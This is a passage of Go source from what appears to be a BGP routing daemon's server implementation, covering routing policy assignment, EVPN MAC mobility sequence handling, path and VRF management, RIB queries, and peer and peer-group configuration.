for _, name := range names { if err := s.deleteNeighbor(&config.Neighbor{Config: config.NeighborConfig{ NeighborAddress: name}}, bgp.BGP_ERROR_CEASE, bgp.BGP_ERROR_SUB_PEER_DECONFIGURED); err != nil { return err } } for _, l := range s.listeners { l.Close() } s.bgpConfig.Global = config.Global{} return nil }, false) if s.shutdownWG != nil { s.shutdownWG.Wait() s.shutdownWG = nil } return nil } func (s *BgpServer) SetPolicies(ctx context.Context, r *api.SetPoliciesRequest) error { rp, err := newRoutingPolicyFromApiStruct(r) if err != nil { return err } getConfig := func(id string) (*config.ApplyPolicy, error) { f := func(id string, dir table.PolicyDirection) (config.DefaultPolicyType, []string, error) { rt, policies, err := s.policy.GetPolicyAssignment(id, dir) if err != nil { return config.DEFAULT_POLICY_TYPE_REJECT_ROUTE, nil, err } names := make([]string, 0, len(policies)) for _, p := range policies { names = append(names, p.Name) } t := config.DEFAULT_POLICY_TYPE_ACCEPT_ROUTE if rt == table.ROUTE_TYPE_REJECT { t = config.DEFAULT_POLICY_TYPE_REJECT_ROUTE } return t, names, nil } c := &config.ApplyPolicy{} rt, policies, err := f(id, table.POLICY_DIRECTION_IMPORT) if err != nil { return nil, err } c.Config.ImportPolicyList = policies c.Config.DefaultImportPolicy = rt rt, policies, err = f(id, table.POLICY_DIRECTION_EXPORT) if err != nil { return nil, err } c.Config.ExportPolicyList = policies c.Config.DefaultExportPolicy = rt return c, nil } return s.mgmtOperation(func() error { ap := make(map[string]config.ApplyPolicy, len(s.neighborMap)+1) a, err := getConfig(table.GLOBAL_RIB_NAME) if err != nil { return err } ap[table.GLOBAL_RIB_NAME] = *a for _, peer := range s.neighborMap { peer.fsm.lock.RLock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.fsm.pConf.State.NeighborAddress, }).Info(""call set policy"") peer.fsm.lock.RUnlock() a, err := getConfig(peer.ID()) if err != nil { return err } ap[peer.ID()] = *a } return s.policy.Reset(rp, ap) }, false) } // EVPN MAC MOBILITY HANDLING // // We don't have multihoming function now, so ignore // ESI comparison. // // RFC7432 15. MAC Mobility // // A PE detecting a locally attached MAC address for which it had // previously received a MAC/IP Advertisement route with the same zero // Ethernet segment identifier (single-homed scenarios) advertises it // with a MAC Mobility extended community attribute with the sequence // number set properly. In the case of single-homed scenarios, there // is no need for ESI comparison. func getMacMobilityExtendedCommunity(etag uint32, mac net.HardwareAddr, evpnPaths []*table.Path) *bgp.MacMobilityExtended { seqs := make([]struct { seq int isLocal bool }, 0) for _, path := range evpnPaths { nlri := path.GetNlri().(*bgp.EVPNNLRI) target, ok := nlri.RouteTypeData.(*bgp.EVPNMacIPAdvertisementRoute) if !ok { continue } if target.ETag == etag && bytes.Equal(target.MacAddress, mac) { found := false for _, ec := range path.GetExtCommunities() { if t, st := ec.GetTypes(); t == bgp.EC_TYPE_EVPN && st == bgp.EC_SUBTYPE_MAC_MOBILITY { seqs = append(seqs, struct { seq int isLocal bool }{int(ec.(*bgp.MacMobilityExtended).Sequence), path.IsLocal()}) found = true break } } if !found { seqs = append(seqs, struct { seq int isLocal bool }{-1, path.IsLocal()}) } } } if len(seqs) > 0 { newSeq := -2 var isLocal bool for _, seq := range seqs { if seq.seq > newSeq { newSeq = seq.seq isLocal = seq.isLocal } } if !isLocal { newSeq += 1 } if newSeq != -1 { return &bgp.MacMobilityExtended{ Sequence: uint32(newSeq), } } } return nil } func (s *BgpServer) fixupApiPath(vrfId string, pathList []*table.Path) error { for _, path := range pathList { if !path.IsWithdraw { if _, err := path.GetOrigin(); err != nil { return err } } if vrfId != """" { vrf := s.globalRib.Vrfs[vrfId] if vrf == nil { return fmt.Errorf(""vrf %s not found"", vrfId) } if err := vrf.ToGlobalPath(path); err != nil { return err } } // Address Family specific Handling switch nlri := path.GetNlri().(type) { case *bgp.EVPNNLRI: switch r := nlri.RouteTypeData.(type) { case *bgp.EVPNMacIPAdvertisementRoute: // MAC Mobility Extended Community paths := s.globalRib.GetBestPathList(table.GLOBAL_RIB_NAME, 0, []bgp.RouteFamily{bgp.RF_EVPN}) if m := getMacMobilityExtendedCommunity(r.ETag, r.MacAddress, paths); m != nil { pm := getMacMobilityExtendedCommunity(r.ETag, r.MacAddress, []*table.Path{path}) if pm == nil { path.SetExtCommunities([]bgp.ExtendedCommunityInterface{m}, false) } else if pm != nil && pm.Sequence < m.Sequence { return fmt.Errorf(""invalid MAC mobility sequence number"") } } case *bgp.EVPNEthernetSegmentRoute: // RFC7432: BGP MPLS-Based Ethernet VPN // 7.6. ES-Import Route Target // The value is derived automatically for the ESI Types 1, 2, // and 3, by encoding the high-order 6-octet portion of the 9-octet ESI // Value, which corresponds to a MAC address, in the ES-Import Route // Target. // Note: If the given path already has the ES-Import Route Target, // skips deriving a new one. found := false for _, extComm := range path.GetExtCommunities() { if _, found = extComm.(*bgp.ESImportRouteTarget); found { break } } if !found { switch r.ESI.Type { case bgp.ESI_LACP, bgp.ESI_MSTP, bgp.ESI_MAC: mac := net.HardwareAddr(r.ESI.Value[0:6]) rt := &bgp.ESImportRouteTarget{ESImport: mac} path.SetExtCommunities([]bgp.ExtendedCommunityInterface{rt}, false) } } } } } return nil } func pathTokey(path *table.Path) string { return fmt.Sprintf(""%d:%s"", path.GetNlri().PathIdentifier(), path.GetNlri().String()) } func (s *BgpServer) addPathList(vrfId string, pathList []*table.Path) error { err := s.fixupApiPath(vrfId, pathList) if err == nil { s.propagateUpdate(nil, pathList) } return err } func (s *BgpServer) addPathStream(vrfId string, pathList []*table.Path) error { err := s.mgmtOperation(func() error { return s.addPathList(vrfId, pathList) }, true) return err } func (s *BgpServer) AddPath(ctx context.Context, r *api.AddPathRequest) (*api.AddPathResponse, error) { var uuidBytes []byte err := s.mgmtOperation(func() error { path, err := api2Path(r.TableType, r.Path, false) if err != nil { return err } err = s.addPathList(r.VrfId, []*table.Path{path}) if err != nil { return err } if id, err := uuid.NewRandom(); err == nil { s.uuidMap[pathTokey(path)] = id uuidBytes, _ = id.MarshalBinary() } return nil }, true) return &api.AddPathResponse{Uuid: uuidBytes}, err } func (s *BgpServer) DeletePath(ctx context.Context, r *api.DeletePathRequest) error { return s.mgmtOperation(func() error { deletePathList := make([]*table.Path, 0) pathList, err := func() ([]*table.Path, error) { if r.Path != nil { path, err := api2Path(r.TableType, r.Path, true) return []*table.Path{path}, err } return []*table.Path{}, nil }() if err != nil { return err } if len(r.Uuid) > 0 { // Delete locally generated path which has the given UUID path := func() *table.Path { id, _ := uuid.FromBytes(r.Uuid) for k, v := range s.uuidMap { if v == id { for _, path := range s.globalRib.GetPathList(table.GLOBAL_RIB_NAME, 0, s.globalRib.GetRFlist()) { if path.IsLocal() && k == pathTokey(path) { delete(s.uuidMap, k) return path } } } } return nil }() if path == nil { return fmt.Errorf(""can't find a specified path"") } deletePathList = append(deletePathList, path.Clone(true)) } else if len(pathList) == 0 { // Delete all locally generated paths families := s.globalRib.GetRFlist() if r.Family != nil { families = []bgp.RouteFamily{bgp.AfiSafiToRouteFamily(uint16(r.Family.Afi), uint8(r.Family.Safi))} } for _, path := range s.globalRib.GetPathList(table.GLOBAL_RIB_NAME, 0, families) { if path.IsLocal() { deletePathList = append(deletePathList, path.Clone(true)) } } s.uuidMap = make(map[string]uuid.UUID) } else { if err := s.fixupApiPath(r.VrfId, pathList); err != nil { return err } deletePathList = pathList for _, p := range deletePathList { delete(s.uuidMap, pathTokey(p)) } } s.propagateUpdate(nil, deletePathList) return nil }, true) } func (s *BgpServer) updatePath(vrfId string, pathList []*table.Path) error { err := s.mgmtOperation(func() error { if err := s.fixupApiPath(vrfId, pathList); err != nil { return err } s.propagateUpdate(nil, pathList) return nil }, true) return err } func (s *BgpServer) StartBgp(ctx context.Context, r *api.StartBgpRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Global == nil { return fmt.Errorf(""invalid request"") } g := r.Global if net.ParseIP(g.RouterId) == nil { return fmt.Errorf(""invalid router-id format: %s"", g.RouterId) } c := newGlobalFromAPIStruct(g) if err := config.SetDefaultGlobalConfigValues(c); err != nil { return err } if c.Config.Port > 0 { acceptCh := make(chan *net.TCPConn, 4096) for _, addr := range c.Config.LocalAddressList { l, err := newTCPListener(addr, uint32(c.Config.Port), g.BindToDevice, acceptCh) if err != nil { return err } s.listeners = append(s.listeners, l) } s.acceptCh = acceptCh } rfs, _ := config.AfiSafis(c.AfiSafis).ToRfList() s.globalRib = table.NewTableManager(rfs) s.rsRib = table.NewTableManager(rfs) if err := s.policy.Initialize(); err != nil { return err } s.bgpConfig.Global = *c // update route selection options table.SelectionOptions = c.RouteSelectionOptions.Config table.UseMultiplePaths = c.UseMultiplePaths.Config return nil }, false) } // TODO: delete this function func (s *BgpServer) listVrf() (l []*table.Vrf) { s.mgmtOperation(func() error { l = make([]*table.Vrf, 0, len(s.globalRib.Vrfs)) for _, vrf := range s.globalRib.Vrfs { l = append(l, vrf.Clone()) } return nil }, true) return l } func (s *BgpServer) ListVrf(ctx context.Context, _ *api.ListVrfRequest, fn func(*api.Vrf)) error { toApi := func(v *table.Vrf) *api.Vrf { return &api.Vrf{ Name: v.Name, Rd: apiutil.MarshalRD(v.Rd), Id: v.Id, ImportRt: apiutil.MarshalRTs(v.ImportRt), ExportRt: apiutil.MarshalRTs(v.ExportRt), } } var l []*api.Vrf s.mgmtOperation(func() error { l = make([]*api.Vrf, 0, len(s.globalRib.Vrfs)) for _, vrf := range s.globalRib.Vrfs { l = append(l, toApi(vrf.Clone())) } return nil }, true) for _, v := range l { select { case <-ctx.Done(): return nil default: fn(v) } } return nil } func (s *BgpServer) AddVrf(ctx context.Context, r *api.AddVrfRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Vrf == nil { return fmt.Errorf(""invalid request"") } name := r.Vrf.Name id := r.Vrf.Id rd, err := apiutil.UnmarshalRD(r.Vrf.Rd) if err != nil { return err } im, err := apiutil.UnmarshalRTs(r.Vrf.ImportRt) if err != nil { return err } ex, err := apiutil.UnmarshalRTs(r.Vrf.ExportRt) if err != nil { return err } pi := &table.PeerInfo{ AS: s.bgpConfig.Global.Config.As, LocalID: net.ParseIP(s.bgpConfig.Global.Config.RouterId).To4(), } if pathList, err := s.globalRib.AddVrf(name, id, rd, im, ex, pi); err != nil { return err } else if len(pathList) > 0 { s.propagateUpdate(nil, pathList) } if vrf, ok := s.globalRib.Vrfs[name]; ok { if s.zclient != nil && s.zclient.mplsLabel.rangeSize > 0 { s.zclient.assignAndSendVrfMplsLabel(vrf) } } return nil }, true) } func (s *BgpServer) DeleteVrf(ctx context.Context, r *api.DeleteVrfRequest) error { return s.mgmtOperation(func() error { if r == nil || r.Name == """" { return fmt.Errorf(""invalid request"") } name := r.Name for _, n := range s.neighborMap { n.fsm.lock.RLock() peerVrf := n.fsm.pConf.Config.Vrf n.fsm.lock.RUnlock() if peerVrf == name { return fmt.Errorf(""failed to delete VRF %s: neighbor %s is in use"", name, n.ID()) } } if vrf, ok := s.globalRib.Vrfs[name]; ok { if vrf.MplsLabel > 0 { s.zclient.releaseMplsLabel(vrf.MplsLabel) } } pathList, err := s.globalRib.DeleteVrf(name) if err != nil { return err } if len(pathList) > 0 { s.propagateUpdate(nil, pathList) } return nil }, true) } func familiesForSoftreset(peer *peer, family bgp.RouteFamily) []bgp.RouteFamily { if family == bgp.RouteFamily(0) { configured := peer.configuredRFlist() families := make([]bgp.RouteFamily, 0, len(configured)) for _, f := range configured { if f != bgp.RF_RTC_UC { families = append(families, f) } } return families } return []bgp.RouteFamily{family} } func (s *BgpServer) softResetIn(addr string, family bgp.RouteFamily) error { peers, err := s.addrToPeers(addr) if err != nil { return err } for _, peer := range peers { s.propagateUpdate(peer, peer.adjRibIn.PathList(familiesForSoftreset(peer, family), true)) } return err } func (s *BgpServer) softResetOut(addr string, family bgp.RouteFamily, deferral bool) error { peers, err := s.addrToPeers(addr) if err != nil { return err } for _, peer := range peers { peer.fsm.lock.RLock() notEstablished := peer.fsm.state != bgp.BGP_FSM_ESTABLISHED peer.fsm.lock.RUnlock() if notEstablished { continue } families := familiesForSoftreset(peer, family) if deferral { if family == bgp.RouteFamily(0) { families = peer.configuredRFlist() } peer.fsm.lock.RLock() _, y := peer.fsm.rfMap[bgp.RF_RTC_UC] c := peer.fsm.pConf.GetAfiSafi(bgp.RF_RTC_UC) restarting := peer.fsm.pConf.GracefulRestart.State.LocalRestarting peer.fsm.lock.RUnlock() if restarting { peer.fsm.lock.Lock() peer.fsm.pConf.GracefulRestart.State.LocalRestarting = false peer.fsm.lock.Unlock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Families"": families, }).Debug(""deferral timer expired"") } else if y && !c.MpGracefulRestart.State.EndOfRibReceived { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Families"": families, }).Debug(""route-target deferral timer expired"") } else { continue } } pathList, _ := s.getBestFromLocal(peer, families) if len(pathList) > 0 { if deferral { pathList = func() []*table.Path { l := make([]*table.Path, 0, len(pathList)) for _, p := range pathList { if !p.IsWithdraw { l = append(l, p) } } return l }() } sendfsmOutgoingMsg(peer, pathList, nil, false) } } return nil } func (s *BgpServer) sResetIn(addr string, family bgp.RouteFamily) error { log.WithFields(log.Fields{ ""Topic"": ""Operation"", ""Key"": addr, }).Info(""Neighbor soft reset in"") return s.softResetIn(addr, family) } func (s *BgpServer) sResetOut(addr string, family bgp.RouteFamily) error { log.WithFields(log.Fields{ ""Topic"": ""Operation"", ""Key"": addr, }).Info(""Neighbor soft reset out"") return s.softResetOut(addr, family, false) } func (s *BgpServer) sReset(addr string, family bgp.RouteFamily) error { log.WithFields(log.Fields{ ""Topic"": ""Operation"", ""Key"": addr, }).Info(""Neighbor soft reset"") err := s.softResetIn(addr, family) if err != nil { return err } return s.softResetOut(addr, family, false) } func (s *BgpServer) validateTable(r *table.Table) (v map[*table.Path]*table.Validation) { if s.roaManager.enabled() { v = make(map[*table.Path]*table.Validation, len(r.GetDestinations())) for _, d := range r.GetDestinations() { for _, p := range d.GetAllKnownPathList() { v[p] = s.roaTable.Validate(p) } } } return } func (s *BgpServer) getRib(addr string, family bgp.RouteFamily, prefixes []*table.LookupPrefix) (rib *table.Table, v map[*table.Path]*table.Validation, err error) { err = s.mgmtOperation(func() error { m := s.globalRib id := table.GLOBAL_RIB_NAME as := uint32(0) if len(addr) > 0 { peer, ok := s.neighborMap[addr] if !ok { return fmt.Errorf(""neighbor that has %v doesn't exist"", addr) } if !peer.isRouteServerClient() { return fmt.Errorf(""neighbor %v doesn't have local rib"", addr) } id = peer.ID() as = peer.AS() m = s.rsRib } af := bgp.RouteFamily(family) tbl, ok := m.Tables[af] if !ok { return fmt.Errorf(""address family: %s not supported"", af) } rib, err = tbl.Select(table.TableSelectOption{ID: id, AS: as, LookupPrefixes: prefixes}) v = s.validateTable(rib) return err }, true) return } func (s *BgpServer) getVrfRib(name string, family bgp.RouteFamily, prefixes []*table.LookupPrefix) (rib *table.Table, err error) { err = s.mgmtOperation(func() error { m := s.globalRib vrfs := m.Vrfs if _, ok := vrfs[name]; !ok { return fmt.Errorf(""vrf %s not found"", name) } var af bgp.RouteFamily switch family { case bgp.RF_IPv4_UC: af = bgp.RF_IPv4_VPN case bgp.RF_IPv6_UC: af = bgp.RF_IPv6_VPN case bgp.RF_FS_IPv4_UC: af = bgp.RF_FS_IPv4_VPN case bgp.RF_FS_IPv6_UC: af = bgp.RF_FS_IPv6_VPN case bgp.RF_EVPN: af = bgp.RF_EVPN } tbl, ok := m.Tables[af] if !ok { return fmt.Errorf(""address family: %s not supported"", af) } rib, err = tbl.Select(table.TableSelectOption{VRF: vrfs[name], LookupPrefixes: prefixes}) return err }, true) return } func (s *BgpServer) getAdjRib(addr string, family bgp.RouteFamily, in bool, enableFiltered bool, prefixes []*table.LookupPrefix) (rib *table.Table, filtered map[string]*table.Path, v map[*table.Path]*table.Validation, err error) { err = s.mgmtOperation(func() error { peer, ok := s.neighborMap[addr] if !ok { return fmt.Errorf(""neighbor that has %v doesn't exist"", addr) } id := peer.ID() as := peer.AS() var adjRib *table.AdjRib filtered = make(map[string]*table.Path) if in { adjRib = peer.adjRibIn if enableFiltered { for _, path := range peer.adjRibIn.PathList([]bgp.RouteFamily{family}, true) { options := &table.PolicyOptions{ Validate: s.roaTable.Validate, } if s.policy.ApplyPolicy(peer.TableID(), table.POLICY_DIRECTION_IMPORT, path, options) == nil { filtered[path.GetNlri().String()] = path } } } } else { adjRib = table.NewAdjRib(peer.configuredRFlist()) if enableFiltered { for _, path := range s.getPossibleBest(peer, family) { path, options, stop := s.prePolicyFilterpath(peer, path, nil) if stop { continue } options.Validate = s.roaTable.Validate p := peer.policy.ApplyPolicy(peer.TableID(), table.POLICY_DIRECTION_EXPORT, path, options) if p == nil { filtered[path.GetNlri().String()] = path } adjRib.UpdateAdjRibOut([]*table.Path{path}) } } else { accepted, _ := s.getBestFromLocal(peer, peer.configuredRFlist()) adjRib.UpdateAdjRibOut(accepted) } } rib, err = adjRib.Select(family, false, table.TableSelectOption{ID: id, AS: as, LookupPrefixes: prefixes}) v = s.validateTable(rib) return err }, true) return } func (s *BgpServer) ListPath(ctx context.Context, r *api.ListPathRequest, fn func(*api.Destination)) error { var tbl *table.Table var v map[*table.Path]*table.Validation var filtered map[string]*table.Path f := func() []*table.LookupPrefix { l := make([]*table.LookupPrefix, 0, len(r.Prefixes)) for _, p := range r.Prefixes { l = append(l, &table.LookupPrefix{ Prefix: p.Prefix, LookupOption: table.LookupOption(p.LookupOption), }) } return l } in := false family := bgp.RouteFamily(0) if r.Family != nil { family = bgp.AfiSafiToRouteFamily(uint16(r.Family.Afi), uint8(r.Family.Safi)) } var err error switch r.TableType { case api.TableType_LOCAL, api.TableType_GLOBAL: tbl, v, err = s.getRib(r.Name, family, f()) case api.TableType_ADJ_IN: in = true fallthrough case api.TableType_ADJ_OUT: tbl, filtered, v, err = s.getAdjRib(r.Name, family, in, r.EnableFiltered, f()) case api.TableType_VRF: tbl, err = s.getVrfRib(r.Name, family, []*table.LookupPrefix{}) default: return fmt.Errorf(""unsupported resource type: %v"", r.TableType) } if err != nil { return err } err = func() error { for _, dst := range tbl.GetDestinations() { d := api.Destination{ Prefix: dst.GetNlri().String(), Paths: make([]*api.Path, 0, len(dst.GetAllKnownPathList())), } knownPathList := dst.GetAllKnownPathList() for i, path := range knownPathList { p := toPathApi(path, getValidation(v, path), r.EnableNlriBinary, r.EnableAttributeBinary) if !table.SelectionOptions.DisableBestPathSelection { if i == 0 { switch r.TableType { case api.TableType_LOCAL, api.TableType_GLOBAL: p.Best = true } } else if s.bgpConfig.Global.UseMultiplePaths.Config.Enabled && path.Equal(knownPathList[i-1]) { p.Best = true } } d.Paths = append(d.Paths, p) if r.EnableFiltered { if _, ok := filtered[path.GetNlri().String()]; ok { p.Filtered = true } } } select { case <-ctx.Done(): return nil default: fn(&d) } } return nil }() return err } func (s *BgpServer) getRibInfo(addr string, family bgp.RouteFamily) (info *table.TableInfo, err error) { err = s.mgmtOperation(func() error { m := s.globalRib id := table.GLOBAL_RIB_NAME as := uint32(0) if len(addr) > 0 { peer, ok := s.neighborMap[addr] if !ok { return fmt.Errorf(""neighbor that has %v doesn't exist"", addr) } if !peer.isRouteServerClient() { return fmt.Errorf(""neighbor %v doesn't have local rib"", addr) } id = peer.ID() as = peer.AS() m = s.rsRib } af := bgp.RouteFamily(family) tbl, ok := m.Tables[af] if !ok { return fmt.Errorf(""address family: %s not supported"", af) } info = tbl.Info(table.TableInfoOptions{ID: id, AS: as}) return err }, true) return } func (s *BgpServer) getAdjRibInfo(addr string, family bgp.RouteFamily, in bool) (info *table.TableInfo, err error) { err = s.mgmtOperation(func() error { peer, ok := s.neighborMap[addr] if !ok { return fmt.Errorf(""neighbor that has %v doesn't exist"", addr) } var adjRib *table.AdjRib if in { adjRib = peer.adjRibIn } else { adjRib = table.NewAdjRib(peer.configuredRFlist()) accepted, _ := s.getBestFromLocal(peer, peer.configuredRFlist()) adjRib.UpdateAdjRibOut(accepted) } info, err = adjRib.TableInfo(family) return err }, true) return } func (s *BgpServer) getVrfRibInfo(name string, family bgp.RouteFamily) (info *table.TableInfo, err error) { err = s.mgmtOperation(func() error { m := s.globalRib vrfs := m.Vrfs if _, ok := vrfs[name]; !ok { return fmt.Errorf(""vrf %s not found"", name) } var af bgp.RouteFamily switch family { case bgp.RF_IPv4_UC: af = bgp.RF_IPv4_VPN case bgp.RF_IPv6_UC: af = bgp.RF_IPv6_VPN case bgp.RF_FS_IPv4_UC: af = bgp.RF_FS_IPv4_VPN case bgp.RF_FS_IPv6_UC: af = bgp.RF_FS_IPv6_VPN case bgp.RF_EVPN: af = bgp.RF_EVPN } tbl, ok := m.Tables[af] if !ok { return fmt.Errorf(""address family: %s not supported"", af) } info = tbl.Info(table.TableInfoOptions{VRF: vrfs[name]}) return err }, true) return } func (s *BgpServer) GetTable(ctx context.Context, r *api.GetTableRequest) (*api.GetTableResponse, error) { if r == nil { return nil, fmt.Errorf(""invalid request"") } family := bgp.RouteFamily(0) if r.Family != nil { family = bgp.AfiSafiToRouteFamily(uint16(r.Family.Afi), uint8(r.Family.Safi)) } var in bool var err error var info *table.TableInfo switch r.TableType { case api.TableType_GLOBAL, api.TableType_LOCAL: info, err = s.getRibInfo(r.Name, family) case api.TableType_ADJ_IN: in = true fallthrough case api.TableType_ADJ_OUT: info, err = s.getAdjRibInfo(r.Name, family, in) case api.TableType_VRF: info, err = s.getVrfRibInfo(r.Name, family) default: return nil, fmt.Errorf(""unsupported resource type: %s"", r.TableType) } if err != nil { return nil, err } return &api.GetTableResponse{ NumDestination: uint64(info.NumDestination), NumPath: uint64(info.NumPath), NumAccepted: uint64(info.NumAccepted), }, nil } func (s *BgpServer) GetBgp(ctx context.Context, r *api.GetBgpRequest) (*api.GetBgpResponse, error) { var rsp *api.GetBgpResponse s.mgmtOperation(func() error { g := s.bgpConfig.Global rsp = &api.GetBgpResponse{ Global: &api.Global{ As: g.Config.As, RouterId: g.Config.RouterId, ListenPort: g.Config.Port, ListenAddresses: g.Config.LocalAddressList, UseMultiplePaths: g.UseMultiplePaths.Config.Enabled, }, } return nil }, false) return rsp, nil } func (s *BgpServer) ListDynamicNeighbor(ctx context.Context, r *api.ListDynamicNeighborRequest, fn func(neighbor *api.DynamicNeighbor)) error { toApi := func(dn *config.DynamicNeighbor) *api.DynamicNeighbor { return &api.DynamicNeighbor{ Prefix: dn.Config.Prefix, PeerGroup: dn.Config.PeerGroup, } } var l []*api.DynamicNeighbor s.mgmtOperation(func() error { peerGroupName := r.PeerGroup for k, group := range s.peerGroupMap { if peerGroupName != """" && peerGroupName != k { continue } for _, dn := range group.dynamicNeighbors { l = append(l, toApi(dn)) } } return nil }, false) for _, dn := range l { select { case <-ctx.Done(): return nil default: fn(dn) } } return nil } func (s *BgpServer) ListPeerGroup(ctx context.Context, r *api.ListPeerGroupRequest, fn func(*api.PeerGroup)) error { var l []*api.PeerGroup s.mgmtOperation(func() error { peerGroupName := r.PeerGroupName l = make([]*api.PeerGroup, 0, len(s.peerGroupMap)) for k, group := range s.peerGroupMap { if peerGroupName != """" && peerGroupName != k { continue } pg := config.NewPeerGroupFromConfigStruct(group.Conf) l = append(l, pg) } return nil }, false) for _, pg := range l { select { case <-ctx.Done(): return nil default: fn(pg) } } return nil } func (s *BgpServer) ListPeer(ctx context.Context, r *api.ListPeerRequest, fn func(*api.Peer)) error { var l []*api.Peer s.mgmtOperation(func() error { address := r.Address getAdvertised := r.EnableAdvertised l = make([]*api.Peer, 0, len(s.neighborMap)) for k, peer := range s.neighborMap { peer.fsm.lock.RLock() neighborIface := peer.fsm.pConf.Config.NeighborInterface peer.fsm.lock.RUnlock() if address != """" && address != k && address != neighborIface { continue } // FIXME: should remove toConfig() conversion p := config.NewPeerFromConfigStruct(s.toConfig(peer, getAdvertised)) for _, family := range peer.configuredRFlist() { for i, afisafi := range p.AfiSafis { if !afisafi.Config.Enabled { continue } afi, safi := bgp.RouteFamilyToAfiSafi(family) c := afisafi.Config if c.Family != nil && c.Family.Afi == api.Family_Afi(afi) && c.Family.Safi == api.Family_Safi(safi) { flist := []bgp.RouteFamily{family} received := uint64(peer.adjRibIn.Count(flist)) accepted := uint64(peer.adjRibIn.Accepted(flist)) advertised := uint64(0) if getAdvertised { pathList, _ := s.getBestFromLocal(peer, flist) advertised = uint64(len(pathList)) } p.AfiSafis[i].State = &api.AfiSafiState{ Family: c.Family, Enabled: true, Received: received, Accepted: accepted, Advertised: advertised, } } } } l = append(l, p) } return nil }, false) for _, p := range l { select { case <-ctx.Done(): return nil default: fn(p) } } return nil } func (s *BgpServer) addPeerGroup(c *config.PeerGroup) error { name := c.Config.PeerGroupName if _, y := s.peerGroupMap[name]; y { return fmt.Errorf(""can't overwrite the existing peer-group: %s"", name) } log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Name"": name, }).Info(""Add a peer group configuration"") s.peerGroupMap[c.Config.PeerGroupName] = newPeerGroup(c) return nil } func (s *BgpServer) addNeighbor(c *config.Neighbor) error { addr, err := c.ExtractNeighborAddress() if err != nil { return err } if _, y := s.neighborMap[addr]; y { return fmt.Errorf(""can't overwrite the existing peer: %s"", addr) } var pgConf *config.PeerGroup if c.Config.PeerGroup != """" { pg, ok := s.peerGroupMap[c.Config.PeerGroup] if !ok { return fmt.Errorf(""no such peer-group: %s"", c.Config.PeerGroup) } pgConf = pg.Conf } if err := config.SetDefaultNeighborConfigValues(c, pgConf, &s.bgpConfig.Global); err != nil { return err } if vrf := c.Config.Vrf; vrf != """" { if c.RouteServer.Config.RouteServerClient { return fmt.Errorf(""route server client can't be enslaved to VRF"") } families, _ := config.AfiSafis(c.AfiSafis).ToRfList() for _, f := range families { if f != bgp.RF_IPv4_UC && f != bgp.RF_IPv6_UC && f != bgp.RF_FS_IPv4_UC && f != bgp.RF_FS_IPv6_UC { return fmt.Errorf(""%s is not supported for VRF enslaved neighbor"", f) } } _, y := s.globalRib.Vrfs[vrf] if !y { return fmt.Errorf(""VRF not found: %s"", vrf) } } if c.RouteServer.Config.RouteServerClient && c.RouteReflector.Config.RouteReflectorClient { return fmt.Errorf(""can't be both route-server-client and route-reflector-client"") } if s.bgpConfig.Global.Config.Port > 0 { for _, l := range s.listListeners(addr) { if c.Config.AuthPassword != """" { if err := setTCPMD5SigSockopt(l, addr, c.Config.AuthPassword); err != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, }).Warnf(""failed to set md5: %s"", err) } } } } log.WithFields(log.Fields{ ""Topic"": ""Peer"", }).Infof(""Add a peer configuration for:%s"", addr) rib := s.globalRib if c.RouteServer.Config.RouteServerClient { rib = s.rsRib } peer := newPeer(&s.bgpConfig.Global, c, rib, s.policy) s.addIncoming(peer.fsm.incomingCh) s.policy.SetPeerPolicy(peer.ID(), c.ApplyPolicy) s.neighborMap[addr] = peer if name := c.Config.PeerGroup; name != """" { s.peerGroupMap[name].AddMember(*c) } peer.startFSMHandler() s.broadcastPeerState(peer, bgp.BGP_FSM_IDLE, nil) return nil } func (s *BgpServer) AddPeerGroup(ctx context.Context, r *api.AddPeerGroupRequest) error { return s.mgmtOperation(func() error { c, err := newPeerGroupFromAPIStruct(r.PeerGroup) if err != nil { return err } return s.addPeerGroup(c) }, true) } func (s *BgpServer) AddPeer(ctx context.Context, r *api.AddPeerRequest) error { return s.mgmtOperation(func() error { c, err := newNeighborFromAPIStruct(r.Peer) if err != nil { return err } return s.addNeighbor(c) }, true) } func (s *BgpServer) AddDynamicNeighbor(ctx context.Context, r *api.AddDynamicNeighborRequest) error { return s.mgmtOperation(func() error { c := &config.DynamicNeighbor{Config: config.DynamicNeighborConfig{ Prefix: r.DynamicNeighbor.Prefix, PeerGroup: r.DynamicNeighbor.PeerGroup}, } s.peerGroupMap[c.Config.PeerGroup].AddDynamicNeighbor(c) return nil }, true) } func (s *BgpServer) deletePeerGroup(name string) error { if _, y := s.peerGroupMap[name]; !y { return fmt.Errorf(""can't delete a peer-group %s which does not exist"", name) } log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Name"": name, }).Info(""Delete a peer group configuration"") delete(s.peerGroupMap, name) return nil } func (s *BgpServer) deleteNeighbor(c *config.Neighbor, code, subcode uint8) error { if c.Config.PeerGroup != """" { _, y := s.peerGroupMap[c.Config.PeerGroup] if y { s.peerGroupMap[c.Config.PeerGroup].DeleteMember(*c) } } addr, err := c.ExtractNeighborAddress() if err != nil { return err } if intf := c.Config.NeighborInterface; intf != """" { var err error addr, err = config.GetIPv6LinkLocalNeighborAddress(intf) if err != nil { return err } } n, y := s.neighborMap[addr] if !y { return fmt.Errorf(""can't delete a peer configuration for %s"", addr) } for _, l := range s.listListeners(addr) { if err := setTCPMD5SigSockopt(l, addr, """"); err != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, }).Warnf(""failed to unset md5: %s"", err) } } log.WithFields(log.Fields{ ""Topic"": ""Peer"", }).Infof(""Delete a peer configuration for:%s"", addr) n.stopPeerRestarting() n.fsm.notification <- bgp.NewBGPNotificationMessage(code, subcode, nil) n.fsm.h.ctxCancel() delete(s.neighborMap, addr) s.propagateUpdate(n, n.DropAll(n.configuredRFlist())) return nil } func (s *BgpServer) DeletePeerGroup(ctx context.Context, r *api.DeletePeerGroupRequest) error { return s.mgmtOperation(func() error { name := r.Name for _, n := range s.neighborMap { n.fsm.lock.RLock() peerGroup := n.fsm.pConf.Config.PeerGroup n.fsm.lock.RUnlock() if peerGroup == name { return fmt.Errorf(""failed to delete peer-group %s: neighbor %s is in use"", name, n.ID()) } } return s.deletePeerGroup(name) }, true) } func (s *BgpServer) 